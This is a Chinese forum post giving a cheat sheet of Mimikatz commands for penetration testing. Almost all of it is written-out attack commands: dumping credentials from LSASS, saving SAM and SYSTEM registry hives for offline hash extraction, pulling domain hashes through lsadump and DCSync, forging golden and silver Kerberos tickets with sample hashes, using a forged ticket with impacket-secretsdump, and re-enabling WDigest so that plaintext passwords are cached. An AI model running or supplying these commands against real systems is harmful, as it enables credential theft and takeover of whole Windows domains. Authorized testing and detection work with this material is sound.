找回密码
 立即注册
首页 业界区 科技 Mimikatz 常用命令

Mimikatz 常用命令

何书艺 2025-6-8 12:02:05
以肉去蚁蚁愈多,以鱼驱蝇蝇愈至。
导航


  • 1 工具介绍
  • 2 基本用法

    • 2.1 执行方式
    • 2.2 帮助命令

  • 3 模块用法

    • 3.1 Standard 模块
    • 3.2 Privilege 模块
    • 3.3 Token 模块
    • 3.4 SekurLSA 模块
    • 3.5 LsaDump 模块
    • 3.6 Kerberos 模块
    • 3.7 Misc 模块

  • 4 杂项
1、工具介绍

Mimikatz 是一款由法国安全研究员 Benjamin Delpy 编写的 Windows 安全工具,在渗透测试中被广泛用于密码提取、Kerberos 攻击、票据伪造、LSA dump 等工作。
2、基本用法

2.1、执行方式

Mimikatz 支持两种方式去执行命令,分别是:交互式、脚本式。虽然交互式中的命令总是可以转换为脚本式去执行,但也存在一些命令只能在交互式中去执行,而无法通过脚本式去执行。例如:金票伪造注入命令 Kerberos::golden ... /ptt 只能在交互式下执行,以脚本式执行时会报错运行失败。
(1)命令交互式执行如下:
  1. .\mimikatz.exe
  2. privilege::debug
  3. sekurlsa::logonpasswords
  4. exit
复制代码
(2)命令脚本式执行如下:
  1. .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > pssword.txt
复制代码
2.2、帮助命令

Mimikatz 内置的命令帮助手册并不好用,一些时候还是需要参考官方手册,尽管官方手册也并不太全面。
命令 :: 可查看 mimikatz 内置的模块列表:
  1. mimikatz # ::
  2. ERROR mimikatz_doLocal ; "" module not found !
  3.         standard  -  Standard module  [Basic commands (does not require module name)]
  4.           crypto  -  Crypto Module
  5.         sekurlsa  -  SekurLSA module  [Some commands to enumerate credentials...]
  6.         kerberos  -  Kerberos package module  []
  7.        privilege  -  Privilege module
  8.          process  -  Process module
  9.          service  -  Service module
  10.          lsadump  -  LsaDump module
  11.               ts  -  Terminal Server module
  12.            event  -  Event module
  13.             misc  -  Miscellaneous module
  14.            token  -  Token manipulation module
  15.            ......
复制代码
命令 privilege:: 可查看 privilege 模块内置的子命令:
  1. mimikatz # privilege::
  2. ERROR mimikatz_doLocal ; "(null)" command of "privilege" module not found !
  3. Module :        privilege
  4. Full name :     Privilege module
  5.            debug  -  Ask debug privilege
  6.           driver  -  Ask load driver privilege
  7.         security  -  Ask security privilege
  8.              tcb  -  Ask tcb privilege
  9.           backup  -  Ask backup privilege
  10.          restore  -  Ask restore privilege
  11.           sysenv  -  Ask system environment privilege
  12.               id  -  Ask a privilege by its id
  13.             name  -  Ask a privilege by its name
复制代码
暂无命令可查看模块子命令的参数选项,只能参考那描述并不完整的官方手册。
3、模块用法

3.1、Standard 模块

(1)日志记录
  1. log c:\tmp\mimikatz.log
复制代码
命令说明:与 mimikatz 交互所产生的信息全部被记录到一个指定文件中。
(2)mimikatz 版本查看
  1. version
  2. :: 本文所有命令均基于 mimikatz 2.2.0
复制代码
3.2、Privilege 模块

(1)开启 SeDebugPrivilege 特权。
  1. privilege::debug
  2. privilege::name SeDebugPrivilege
  3. privilege::id 20
  4. ::以上三条命令等效。
复制代码
命令说明:确保那些需要高权限才能操作内存的模块命令在使用时能够被顺利执行。
注:通常情况下,用户只对属于自己的进程有调试权限,但如果该用户被赋予了 SeDebugPrivilege 特权时,该用户就拥有了调试其他用户进程的权限,此时就可以对一些高权限进程执行操作。
此外,在 Privilege 模块中,该特权是使用最多的一个特权,其它特权均很冷门。
3.3、Token 模块

(1)模拟身份
  1. token::elevate 'NT AUTHORITY\SYSTEM'
  2. ::模拟成功时,通过 token::whoami 可以看到包含 'NT AUTHORITY\SYSTEM' 或 'Impersonation (Delegation)' 的信息,而默认情况下是不包含的。
复制代码
命令说明:让当前 Mimikatz 进程“伪装”成 SYSTEM 权限的用户。然后,那些需要读取像如 SAM/SYSTEM 这类的文件/注册表的模块命令才能被顺利运行。
注:SAM/SYSTEM 是 windows 中保护最严密的注册表区域之一,仅 SYSTEM 用户可以访问。因此,即便 mimikatz.exe 是通过管理员身份运行的,其模块命令 lsadump::sam 也无法获取到关键的哈希信息,此时便只有提升到 SYSTEM 权限了。
(2)查看身份
  1. token::whoami
复制代码
(3)归还身份
  1. token::revert
复制代码
3.4、SekurLSA 模块

(1)从 LSASS 进程中提取当前已认证过的凭据
  1. sekurlsa::logonPasswords
复制代码
命令说明:从进程中提取所有有效的凭证。也就是说,可以在域主机上提取到在本机登录或在本地运行的服务上的域用户凭证。甚至有时候还能提取到明文密码。
3.5、LsaDump 模块

(1)本地提取 SAM 用户的哈希信息
  1. lsadump::sam
复制代码
(2)离线提取 SAM 用户的哈希信息
  1. reg save HKLM\SYSTEM SystemBkup.hiv
  2. reg save HKLM\SAM SamBkup.hiv
  3. lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
复制代码
(3)提取域用户的哈希信息
  1. lsadump::lsa /patch
  2. ::以简洁的方式批量输出
  3. lsadump::lsa /patch /name:krbtgt
  4. ::以简洁的方式指定用户名输出
  5. lsadump::lsa /patch /id:500
  6. ::以简洁的方式指定用户 id 输出
  7. lsadump::lsa /inject /name:krbtgt
  8. ::以详细的方式指定用户名输出
复制代码
(4)提取域用户的哈希信息
  1. lsadump::dcsync /user:krbtgt
  2. ::提取指定域用户的信息
  3. lsadump::dcsync /all
  4. ::提取所有域用户的信息
复制代码
命令说明:该命令与 lsadump::lsa /inject /name:krbtgt 输出的内容基本相似。区别在于:该命令只能在域环境下使用,工作组环境下不可用。
3.6、Kerberos 模块

(1)查看/导出当前已缓存票据
  1. kerberos::list
  2. kerberos::list /export
复制代码
命令说明:直接导出 DC 中现有的票据进行使用,省去了金银票据伪造的繁琐过程。
(2)金票伪造
  1. kerberos::golden /user:administrator /domain:skylark.com /sid:S-1-5-21-1869548389-852568882-3188983647 /krbtgt:e6b43234ea2ce6d8bafa4b17c7b3790f /id:500
复制代码
注:选项 /id 省略的情况下,默认值是 500,即代表 administrator 用户。
(3)银票伪造
  1. kerberos::golden /user:administrator /domain:skylark.com /sid:S-1-5-21-1869548389-852568882-3188983647 /rc4:d5025b8cfb84a5e0ceb443ebd3b2294a /target:dc2012.skylark.com /service:cifs
复制代码
注:与伪造金票不同之处在于:它的哈希选项是 /rc4 ,即 NTLM 类型的哈希。并且还额外增加了 /target  和 /service 选项,这两选项是必须的。
(4)金/银票据攻击
  1. export KRB5CCNAME=administrator.kirbi
  2. impacket-secretsdump -k -no-pass administrator@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50
  3. #票据的使用通过 impacket 套件中的工具使用效果最好。另外不管是金票还是银票,均可以使用此命令进行连接。
复制代码
3.7、Misc 模块

(1)调出 cmd shell
  1. misc::cmd
复制代码
命令说明:在进行金票攻击或哈希传递攻击时可能需要用到。
(2)监听剪贴板
  1. misc::clip
复制代码
命令说明:暂无发现可用之处,留待观察。
4、杂项

(1)在高版本 Windows 系统中(win 8.1 以上,这意味着 win 7/xp 还是可以直接读明文密码。)无法利用 Mimikatz 命令 sekurlsa::logonpasswords 直接读取明文密码。这是因为微软默认关闭了 wdigest 注册表键,而如果想要重新获取明文,只需要开启该注册表后再输入密码重新登录即可。【开启命令:reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1】
(2)Mimikatz 的大多数模块命令如果执行不成功,那基本都是权限问题。所以只要确保 privilege::debug 和 token::elevate 'NT AUTHORITY\SYSTEM' 可以正常执行,那么基本上所有命令均可顺利执行。

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册